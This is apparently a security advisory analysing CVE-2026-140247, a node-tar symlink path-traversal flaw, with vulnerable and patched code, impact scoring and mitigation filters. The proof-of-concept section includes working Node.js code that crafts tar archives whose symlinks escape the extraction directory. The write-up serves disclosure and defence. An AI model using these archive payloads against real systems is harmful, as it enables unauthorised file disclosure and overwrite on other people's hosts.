Dec 2, 2026·11 min read·5 visits
node-tar prior to 8.0.0 validates symlink linkpaths using purely lexical path normalization. An attacker can craft an archive containing chained symlinks with intermediate parent directory traversals (..) or trailing dot segments (/.) that pass lexical validation but resolve outside the extraction directory when evaluated by the operating system kernel.
CVE-2026-140247 (GHSA-gvrf-jx37-rjv5) is a high-severity path traversal and link resolution vulnerability in the npm tar package (node-tar) prior to version 8.0.0. The library validates symbolic link targets lexically rather than against the physical filesystem hierarchy, allowing specially crafted archives to create symlinks inside the extraction directory that resolve to arbitrary locations outside the extraction root.
The tar package (commonly referred to as node-tar) is the standard archive extraction and creation library for the Node.js ecosystem. It is heavily utilized by package managers, build pipelines, and server-side applications to unpack .tar and .tgz archives. Because archive extraction routines often process untrusted files supplied by external users or remote registries, node-tar implements security boundaries designed to prevent extracted files and symbolic links from escaping the designated extraction root (cwd).
In versions prior to 8.0.0, node-tar contains a flaw in how it validates the target path (linkpath) of SymbolicLink entries during extraction. The library enforces containment by normalizing the entry's directory path and the symlink's linkpath using path.posix.normalize, then verifying that the resulting string does not start with ../. This validation relies entirely on lexical string manipulation rather than actual filesystem path resolution.
This discrepancy introduces a vulnerability classified under CWE-22 (Path Traversal) and CWE-59 (Improper Link Resolution Before File Access). When a path contains a named directory component followed by a parent directory reference (..), lexical normalization collapses both segments into an empty path. However, when the operating system kernel evaluates the path on disk, it resolves the named component first—which may itself be a symlink pointing to the root of the extraction folder or higher—before applying the .. traversal.
As a result, an unauthenticated attacker who can supply a crafted tar archive to a vulnerable extraction routine can create symbolic links inside the extraction directory that point to arbitrary files on the host filesystem. While node-tar itself will not follow these symlinks to write subsequent entries during the same extraction pass, any downstream application logic that reads from or writes to the extracted files will inadvertently interact with sensitive files outside the extraction sandbox.
The root cause of CVE-2026-140247 lies in the [STRIPABSOLUTEPATH] validation routine within src/unpack.ts. When unpacking a SymbolicLink entry, node-tar attempts to verify that the symlink target remains confined within the extraction root (cwd). In versions prior to 8.0.0, the library calculated the entry's parent directory via path.posix.dirname(entry.path) and joined it with the symlink's target linkpath using path.posix.normalize.
Lexical path normalization operates under the assumption that a/b/.. is mathematically equivalent to a. On a POSIX filesystem, this assumption fails whenever b is a symbolic link. If an archive defines a symlink l1 pointing to . (the extraction root) and a second symlink esc pointing to l1/../outside.txt, path.posix.normalize('l1/../outside.txt') evaluates to 'outside.txt'. Because 'outside.txt' does not contain a leading '../', the validation passes and node-tar writes the literal symlink esc -> l1/../outside.txt to disk.
Beyond the intermediate .. traversal after a named symlink segment, two additional edge cases in src/unpack.ts allowed symlink targets to escape the extraction directory:
/. or /./) in the entry path: When an archive entry path was specified as esc/. with a linkpath of ../outside.txt, calling path.posix.dirname('esc/.') returned 'esc' rather than '.'. The validation logic assumed the symlink was being created one directory level deeper than it actually was (esc/ instead of the root extraction directory). When joined with ../outside.txt, the lexical check resolved path.posix.normalize('esc/../outside.txt') to 'outside.txt', allowing the entry even though the filesystem creates the link at esc pointing to ../outside.txt.\) in directory names: The validation routine split paths on both forward slashes and backslashes to handle cross-platform archives. On POSIX systems, a backslash is a valid filename character rather than a directory separator. An archive containing a directory A\B and a symlink esc targeting A\B/../../outside.txt caused the splitter to treat A\B as two directory levels deep (A/B), allowing two .. segments in the linkpath when only one physical directory existed on disk.By chaining multiple directory levels and symlinks inside the archive (for example, creating p/q/r/s pointing to ../../.. and then referencing p/q/r/s/../../../victim), an attacker can traverse an arbitrary number of levels up the host directory tree.
The vulnerability was patched in commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d within src/unpack.ts. Prior to the fix, the Unpack class resolved the target linkpath relative to the raw dirname of the entry without checking the internal structure of the target components or normalizing the entry's own path first.
// Vulnerable code in src/unpack.ts (prior to 8.0.0)
// Resolve linkpath relative to the entry's directory.
// `path.posix` is safe to use because we're operating on
// tar paths, not a filesystem.
const entryDir = path.posix.dirname(entry.path)
const resolved = path.posix.normalize(
path.posix.join(entryDir, parts.join('/')),
)The remediation introduces two primary defensive controls in src/unpack.ts. First, it inspects the split components (parts) of the symlink's linkpath to enforce a strict structural invariant: parent directory references (..) are only permitted at the very beginning of a relative linkpath. Second, it normalizes entry.path via path.posix.normalize before extracting its dirname.
// Patched code in src/unpack.ts (commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d)
// A '..' is only safe at the start of the target. Any named
// part before it can be a symlink, and then the '..' goes to
// the parent of that symlink's target.
const firstName = parts.findIndex(
part => part !== '..' && part !== '.' && part !== '',
)
if (firstName !== -1 && parts.includes('..', firstName)) {
this.warn(
'TAR_ENTRY_ERROR',
`${field} contains '..' after a path portion`,
{ entry, [field]: p },
)
return false
}
// Normalize the path, so that the directory is the one where
// the link is created. The path 'x/.' creates the link 'x'.
const entryDir = path.posix.dirname(path.posix.normalize(entry.path))
const resolved = path.posix.normalize(
path.posix.join(entryDir, parts.join('/')),
)By searching for the first index of a named path component (firstName) and rejecting any path that includes '..' at or after firstName, the patch eliminates the discrepancy between lexical normalization and kernel symlink resolution. Because no named segment precedes the leading '..' segments, those parent traversals are guaranteed to apply solely to the entry's own directory structure (which node-tar independently ensures does not traverse through symlinks via [ENSURE_NO_SYMLINK]).
> [!NOTE]
> This structural restriction also closes the POSIX backslash bypass. Because parts is already split on both / and \, a linkpath like A\B/../../outside.txt is broken into ['A', 'B', '..', '..', 'outside.txt']. Here, firstName evaluates to 0 ('A'), and parts.includes('..', 0) returns true, causing the entry to be rejected before path.posix.normalize is ever reached.
The fix is comprehensive against all three bypass vectors. Even if an archive attempts to define the escaping symlink before the target intermediate symlink is extracted (e.g., extracting esc -> x/y/../outside.txt first, followed by x/y -> ..), the positional check on .. rejects esc immediately upon header parsing without needing to track state across archive entries.
Exploiting CVE-2026-140247 requires an application to extract an untrusted tar archive using node-tar (tar.x or tar.extract, in either synchronous or asynchronous mode). No special configuration flags (such as preservePaths: true) are needed; the vulnerability triggers under the default secure extraction configuration.
An attacker can construct a minimal 2048-byte malicious archive containing two 512-byte tar header blocks followed by two 512-byte end-of-archive zero blocks. The first header creates a benign symlink inside the extraction directory, and the second header leverages that symlink to traverse out of the extraction root.
const fs = require('node:fs')
const path = require('node:path')
const tar = require('tar')
// Helper to encode a 512-byte tar header block
const makeSymlinkHeader = (entryPath, linkpath) => {
const block = Buffer.alloc(512)
new tar.Header({
path: entryPath,
linkpath: linkpath,
type: 'SymbolicLink',
mode: 0o755,
size: 0,
}).encode(block, 0)
return block
}
// Variant 1: '..' after an in-archive symlink
// Entry 1: 's1' -> '.' (points to extraction root)
// Entry 2: 'esc' -> 's1/../outside.txt' (lexically 'outside.txt', resolves to '../outside.txt')
const payload = Buffer.concat([
makeSymlinkHeader('s1', '.'),
makeSymlinkHeader('esc', 's1/../outside.txt'),
Buffer.alloc(1024), // EOF padding
])
fs.writeFileSync('exploit.tar', payload)Alternatively, using the trailing dot-segment vector, an attacker only needs a single tar header block (path: 'esc/.', linkpath: '../outside.txt') to achieve a single-level directory escape without creating an intermediate symlink:
// Variant 2: Trailing '/.' off-by-one dirname calculation
const singleEntryPayload = Buffer.concat([
makeSymlinkHeader('esc/.', '../outside.txt'),
Buffer.alloc(1024),
])When a vulnerable version of node-tar (< 8.0.0) extracts either payload into a target directory (e.g., /app/uploads/extracted), the extraction completes without emitting any warnings or errors. On disk, /app/uploads/extracted/esc is created as a symbolic link whose real path (fs.realpathSync) resolves to /app/uploads/outside.txt. If the application subsequently iterates over the extracted directory tree to read file contents (e.g., displaying archive contents to a user or packaging them into a build artifact) or modifies files in place, the attacker achieves arbitrary file read or arbitrary file overwrite within the privileges of the Node.js process.
The direct impact of CVE-2026-140247 is the creation of symbolic links inside an extraction directory that point to arbitrary locations on the filesystem outside the extraction root. It is important to distinguish this primitive from direct arbitrary file overwrite during extraction: node-tar employs a separate defense ([ENSURE_NO_SYMLINK]) that checks whether intermediate directories are symlinks before writing subsequent File entries from the same archive. Therefore, an attacker cannot use a single archive extraction pass by itself to overwrite external files solely through node-tar.
Instead, the security impact materializes in post-extraction processing pipelines. Many applications unpack an archive into a workspace directory and then trust that all entities inside that workspace are safely self-contained. Common vulnerable downstream workflows include:
/etc/passwd, .env secrets, or application source code).fs.writeFile calls (which follow symlinks by default), the operation will overwrite the external target file on the host filesystem.GitHub and NVD assigned this vulnerability a CVSS v4.0 score of 7.2 (High) (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N), while the security advisory assesses a CVSS v3.1 score of 7.1 (High) (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N). The high integrity and confidentiality ratings reflect the ability to read or corrupt arbitrary files accessible to the runtime user once a downstream consumer interacts with the extracted symlink.
According to CISA ADP Vulnrichment (SSVC v2.0.3), exploitation maturity is tracked at the proof-of-concept (poc) level based on the reproduction test cases published in the official repository and advisory. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
To fully remediate CVE-2026-140247, upgrade the tar dependency to version 8.0.0 or later. In version 8.0.0, node-tar rejects any symlink linkpath containing '..' after a named path segment, and normalizes entry paths before calculating parent directories, emitting a TAR_ENTRY_ERROR warning and refusing to create the link.
> [!NOTE]
> Upgrading to tar@8.0.0 is a major version bump that introduces breaking changes: it requires Node.js >= 22 and removes legacy callback-style stream APIs in favor of Promise-based APIs.
For environments locked to earlier Node.js runtimes (such as Node.js 18 or 20) that cannot immediately upgrade to tar@8.0.0, developers must implement application-level mitigations during or immediately after extraction:
filter function to tar.x() to block all SymbolicLink and Link entries before they are written to disk:await tar.x({
file: 'untrusted.tar',
cwd: extractionRoot,
strict: true,
filter: (entryPath, entry) => {
if (entry.type === 'SymbolicLink' || entry.type === 'Link') {
return false
}
return true
},
})filter validation on linkpath: If symlinks must be supported on older node-tar versions, replicate the 8.0.0 patch logic inside the filter callback by inspecting entry.linkpath and entry.path:const path = require('node:path')
await tar.x({
file: 'untrusted.tar',
cwd: extractionRoot,
strict: true,
filter: (entryPath, entry) => {
if (entry.type === 'SymbolicLink') {
const parts = entry.linkpath.split(/[/\\]/)
const firstName = parts.findIndex(p => p !== '..' && p !== '.' && p !== '')
if (firstName !== -1 && parts.includes('..', firstName)) {
return false
}
const entryDir = path.posix.dirname(path.posix.normalize(entry.path))
const resolved = path.posix.normalize(path.posix.join(entryDir, parts.join('/')))
if (resolved.startsWith('../') || resolved === '..' || path.posix.isAbsolute(entry.linkpath)) {
return false
}
}
return true
},
})realpath auditing: Before reading or writing any file inside an extracted directory, verify that fs.realpathSync(targetFile) begins with fs.realpathSync(extractionRoot) + path.sep.CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
tar isaacs | < 8.0.0 | 8.0.0 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-140247 / GHSA-gvrf-jx37-rjv5 |
| Weakness Class | CWE-22 (Path Traversal) / CWE-59 (Improper Link Resolution) |
| Affected Package | tar (npm) < 8.0.0 |
| Patched Version | 8.0.0 |
| CVSS Score | 7.2 High (CVSS v4.0) / 7.1 High (CVSS v3.1) |
| Attack Vector | Crafted Tar Archive Extraction |
| Exploit Status | Proof-of-Concept Available |
| CISA KEV Status | Not Listed |
The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as '..' that can resolve to a location outside of that directory. Also associated with CWE-59 (Improper Link Resolution Before File Access).
CVE-2026-140249 (also tracked as GHSA-4pf9-5fpx-xmr6) is a path traversal and improper link resolution vulnerability in node-tar, the core tar archive manipulation library for Node.js. Affecting versions 7.5.5 through 7.5.24, the flaw resides in the symbolic link path validation routine executed during archive extraction via tar.x(). Because the library validates link targets using purely lexical string manipulation rather than filesystem-aware path resolution, an attacker can craft an archive containing chained symlinks or unnormalized path suffixes that bypass traversal checks. Although node-tar does not directly write archive payloads through escaping symlinks during the extraction phase, it allows the creation of symlinks inside the extraction directory that resolve to arbitrary locations on the host filesystem. Any subsequent read or write operation performed by the host application on the extracted directory tree follows these symlinks, leading to arbitrary file disclosure or overwrite within the privilege context of the Node.js process.
CVE-2026-140246 (GHSA-hqgx-p3r3-2cfg) is a path traversal and link-following vulnerability in the node-tar (tar) npm package prior to version 8.0.0. The defect stems from a semantic discrepancy in how backslash characters are processed during lexical path validation versus how they are resolved by POSIX filesystem kernels. By combining a directory containing a literal backslash with a symbolic link utilizing relative parent traversal sequences, an attacker can construct a tar archive that bypasses extraction containment checks and points to arbitrary files outside the target root directory on non-Windows hosts.
CVE-2026-140245 (GHSA-jmj2-9c5q-vw73) is a path traversal vulnerability (CWE-22) affecting versions 7.5.5 through 7.5.24 of the node-tar (tar) archive manipulation library for Node.js. A discrepancy between path evaluation during symlink containment validation and actual filesystem placement allows archives containing symbolic link entries with trailing dot segments (such as '/.' or '/./') to bypass directory boundary checks. When extracted under default configurations, these crafted entries create symbolic links pointing outside the designated extraction directory (cwd), establishing a primitive for arbitrary file overwrite or creation during subsequent extraction steps.
CVE-2026-140244 (GHSA-mhqm-9wj8-w7r4) is a symlink containment bypass vulnerability in node-tar prior to version 8.0.0. Because the archive unpacker validates symbolic link targets using purely lexical path normalization without accounting for intermediate archive-created symlinks, an attacker can craft a tar archive containing chained symlinks that resolve outside the extraction directory on the physical filesystem. Downstream applications that read, copy, serve, or re-archive the extracted directory tree follow these planted symlinks, resulting in arbitrary file read and information disclosure.
CVE-2026-140242 (also tracked as GHSA-ph3c-p786-j4rp) is an input validation vulnerability (CWE-1284) in the node-tar package for Node.js, affecting versions >= 7.0.0 and < 7.5.24. The parser for POSIX.1-2001 Extended (PAX) header records fails to verify that the parsed value of the size attribute is a finite, safe integer. Supplying a PAX header record with a size value such as Infinity bypasses simple non-negative numerical checks via JavaScript unary coercion. This results in stream boundary corruption and entry loss during archive extraction, or an uncaught runtime exception and process termination when re-packing the archive.
CVE-2026-140241 is a Denial of Service (DoS) vulnerability in the node-tar archive manipulation library (npm package: tar) affecting versions 7.5.22 through 7.5.24. The defect stems from an uncaught synchronous exception thrown during the initialization of Zstandard (zstd) decompression on Node.js runtimes that lack native zstd bindings. An unauthenticated attacker can supply a 4-byte payload containing the zstd magic header (0x28 0xb5 0x2f 0xfd) to asynchronous listing or extraction APIs, causing the error to escape stream event handlers and terminate the Node.js process.